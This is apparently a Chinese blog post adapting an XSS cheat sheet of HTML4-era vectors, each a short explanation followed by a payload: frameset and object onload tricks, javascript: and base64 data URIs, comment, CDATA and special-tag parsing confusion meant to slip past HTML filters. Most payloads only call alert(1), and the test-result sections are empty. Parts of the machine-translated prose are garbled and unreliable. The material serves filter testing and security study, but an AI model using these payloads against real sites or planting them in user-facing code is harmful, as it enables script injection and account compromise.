XSS代码合集(含测试效果详细版)-HTML4与更早版本的向量1

HTML4与更早版本的向量

通过<FRAMESET>和onload执行JavaScript

这个经典的向量表明,有几个标记不需要“src”属性来触发onload事件,例如<IFRAME>、<BODY>和<FRAMESET>。

<frameset onload=alert(1)>

适用浏览器与版本

测试效果

 

 

通过<TABLE>和后台执行JavaScript

Opera 8-10.5+和Internet Explorer 6支持javascripturi的<TABLE>和其他一些标记的“background”属性。这会导致JavaScript在没有用户交互的情况下执行。问题已在Opera11中解决。

<table background="javascript:alert(1)"></table>

适用浏览器与版本

测试效果

暂无

 

HTML注释解析问题(1)

此向量显示如何解析注释,以及在允许用户提交的HTML包含注释时可能出现的问题。

<!--<img src="--><img src=x onerror=alert(1)//">

适用浏览器与版本

测试效果

 

HTML注释解析问题(2)

除此之外<!--->Internet Explorer允许使用<COMMENT>标记。向量显示了如何解析注释,以及在允许用户提交的HTML包含注释时可能出现的问题。这个例子符合IE8标准模式。

<comment><img src="</comment><img src=x onerror=alert(1)//">

适用浏览器与版本

 

测试效果

 

 

 

CDATA节解析问题

使用CDATA截面在HTML中定义的Firefox和Opera Allow-in the Stripped Form<![“As well as including padding like[……]Cdata[……]。这可能会造成过滤机制的问题,因为这些限定器可用于大规模爆破。Firefox 4 and Opera 11.60 have fixed the issue.然而,现代浏览器为内线SVG或Mathml提供了一个XML分隔符,该分隔符允许使用CDATA分段()。

<!-- up to Opera 11.52, FF 3.6.28 -->
<![><img src="]><img src=x onerror=alert(1)//">

<!-- IE9+, FF4+, Opera 11.60+, Safari 4.0.4+, GC7+ -->
<svg><![CDATA[><image xlink:href="]]><img src=xx:x onerror=alert(2)//"></svg>

适用浏览器与版本

测试效果

 

 

 

用于标记模糊处理的纯文本标记

这个向量在所有被测试的用户代理上都起作用,并显示了几种过滤解决方案是如何被诱骗接受恶意HTML的。写得不好的过滤器将假定错误处理程序是第一个图像的“src”属性的一部分,并接受传入的数据。

<style><img src="</style><img src=x onerror=alert(1)//">

适用浏览器与版本

测试效果

 

通过空列表样式的错误处理程序和通过空内容加载处理程序

Opera10.5+和更早版本会为<LI>标记触发错误事件,以防无法加载通过样式属性的后台URL。同样适用于“列表样式图像”。在Opera10.10和更早的版本中,更多的标签/样式组合,如background:url()和background-image:url()也可以工作。也可以像content:url(svg)那样进行组合,但目前它对事件和<script>前后的标记很敏感。

<li style=list-style:url() onerror=alert(1)></li>
<div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)></div>

适用浏览器与版本

测试效果

暂无

 

通过<BASE>和JavaScript URI进行链接劫持

<BASE>使用JavaScript uri进行链接劫持可在Internet Explorer、Opera(如果链接URL以#开头,则为O8-10.5)和Safari上运行。执行JavaScript需要用户交互。向量有时需要稍加更改才能适用于所有提到的用户代理。Opera 11船或多或少的工作修复,但这个问题仍然存在难以开发的形式,虽然。

<head><base href="javascript://"/></head><body><a href="/. /,alert(1)//#">XXX</a></body>

适用浏览器与版本

测试效果

 

 

 

通过<SCRIPT>for和event属性执行JavaScript

Internet Explorer允许使用带有“for”和“event”属性的<SCRIPT>标记将事件数据绑定到特定的html元素。显示的两个属性值会导致脚本执行而无需用户交互。Opera只是忽略了这些属性。

<SCRIPT FOR=document EVENT=onreadystatechange>alert(1)</SCRIPT>

适用浏览器与版本

测试效果

 

 

 

通过<OBJECT>DataURL属性执行JavaScript 

Internet Explorer 9和早期版本在某些情况下支持对TDC对象的“dataurl”属性使用JavaScripturi。JavaScript将在没有用户任何交互的情况下执行。

<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>

适用浏览器与版本

测试效果

暂无

 

通过<OBJECT>数据执行JavaScript

几乎所有支持数据uri的浏览器都允许通过特制的<OBJECT>“data”属性值执行JavaScript,即使base64编码。但是,请注意,不同的浏览器在不同的源代码上执行JavaScript。例如,Firefox将在宿主域上执行,从而允许XSS,而Chrome将在about:blank上执行。

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

适用浏览器与版本

测试效果

 

 

 

通过src执行JavaScript

几乎所有支持数据uri的浏览器都允许通过精心编制的<EMBED>“src”属性值执行JavaScript,即使base64是非编码的。只有Firefox尝试搜索插件处理程序,但失败了。

<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>

<embed src="javascript:alert(1)"></embed> // Firefox only

适用浏览器与版本

测试效果

 

 

 

嵌套在其他标记中的标记以欺骗筛选器

Chrome、Firefox和Safari将使用这个嵌套示例执行JavaScript,而Opera和IE则不会。

<b <script>alert(1)//</script>0</script></b>

适用浏览器与版本

测试效果

暂无

 

复制innerHTML时使用重音坟墓的XSS(1)

 Internet Explorer将重音标志(`)视为“and”等属性分隔符。在使用innerHTML属性时,引号(“)将从属性值中去掉,以防它不包含空格。
<div id="div1"><input value="``onmouseover=alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>

适用浏览器与版本

 

测试效果

暂无

 

在IE中模拟属性

这个向量通过使用单引号欺骗过滤器来模拟IE中的属性。在标准模式和最新的IE中,使用旧的文档模式可以达到IE9。

<!-- IE 6-8 -->
<x '="foo"><x foo='><img src=x onerror=alert(1)//'>

<!-- IE 6-9 -->
<! '="foo"><x foo='><img src=x onerror=alert(2)//'>
<? '="foo"><x foo='><img src=x onerror=alert(3)//'>

适用浏览器与版本

 

测试效果

暂无

 

通过src属性执行JavaScript

大多数浏览器允许通过<IFRAME>“src”属性执行JavaScript,这是预期的行为。有趣的是,这也可以扩展到其他标签。Opera 10、Chrome和Firefox使用<EMBED>标记执行JavaScript,而Opera 10和Opera Mobile甚至使用<SCRIPT>、<IMG>和<IMAGE>和匹配的“src”属性以及早期的Internet Explorer版本执行JavaScript。

<embed src="javascript:alert(1)"></embed> // O10.10↓, OM10.0↓, GC6↓, FF
<img src="javascript:alert(2)">
<image src="javascript:alert(2)"> // IE6, O10.10↓, OM10.0↓
<script src="javascript:alert(3)"></script> // IE6, O11.01↓, OM10.1↓

适用浏览器与版本

测试效果

暂无

 

通过IE过滤器和onfilterchange执行JavaScript

在某些情况下,只使用一个筛选器就可以触发filterchange事件,如示例所示。同时也使用了短的过滤符号,尽管文档中有相关信息,但是所有IE版本都支持这种符号。在IE8+的兼容模式下,可以使用属性“-ms filter”。

<div style=width:1px;filter:glow onfilterchange=alert(1)>x</div>

适用浏览器与版本

 

测试效果

暂无

 

<OBJECT>执行JavaScript的标记和Flash文件

<OBJECT>通过“data”属性直接包含Flash文件的标签-允许在无需用户交互的情况下执行JavaScript等。

<object allowscriptaccess="always" data="test.swf"></object>

确保用户无法控制<OBJECT>标记的“src”和“data”属性值-或者最好不要在用户提交的标记中白名单<OBJECT>标记。

class XSS {public static function main() {
flash.Lib.getURL(new flash.net.URLRequest(flash.Lib._root.url||"javascript:alert(1)"),flash.Lib._root.name||"_top");
}}
crossdomain: 1
path: http://html5sec.org/test.swf
name: test.swf

适用浏览器与版本

 

 

 

测试效果

暂无

 

特殊标记解析问题

HTML标记名以a-zA-Z开头(从忽略IE中的空字节中抽象出来)。此外,还有其他结构,解析为标记(特殊标记)。它们以下列字符开头:!,?, /,%. 这有其原因:DTD、注释、xml声明、Internet Explorer中的导入指令、结束标记等都以这些字符开头。这些示例表明,此类标记将继承其标准模型的某些属性。

[A] Firefox、Opera、Google Chrome、Safari(4.0.4+)、IE 10+标准模式:特殊标签的参数不能包含右括号“>”。

[B] Safari(高达4.0.3):特殊标记的参数只能通过“?>".

[C] Opera(高达11.52):特殊标记继承了DTD的属性:在它内部,您可以创建一个以“[”开头、以“]结尾的节。

[D] IE 9标准模式,Safari(高达4.0.3):一个类似“<%。。。%>“是评论的替代品。

这些功能可用于模糊处理和绕过过滤器。记住,不要将其解析为HTML结构中的标记,比如“<Èfoo=…>”。

[A]
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
[B]
<? foo="><x foo='?><script>alert(1)</script>'>">
[C]
<! foo="[[[x]]"><x foo="]foo><script>alert(1)</script>">
[D]
<% foo><x foo="%><script>alert(1)</script>">

适用浏览器与版本

 

测试效果

posted @ 2020-01-21 17:55  AlexANSO  阅读(783)  评论(0编辑  收藏  举报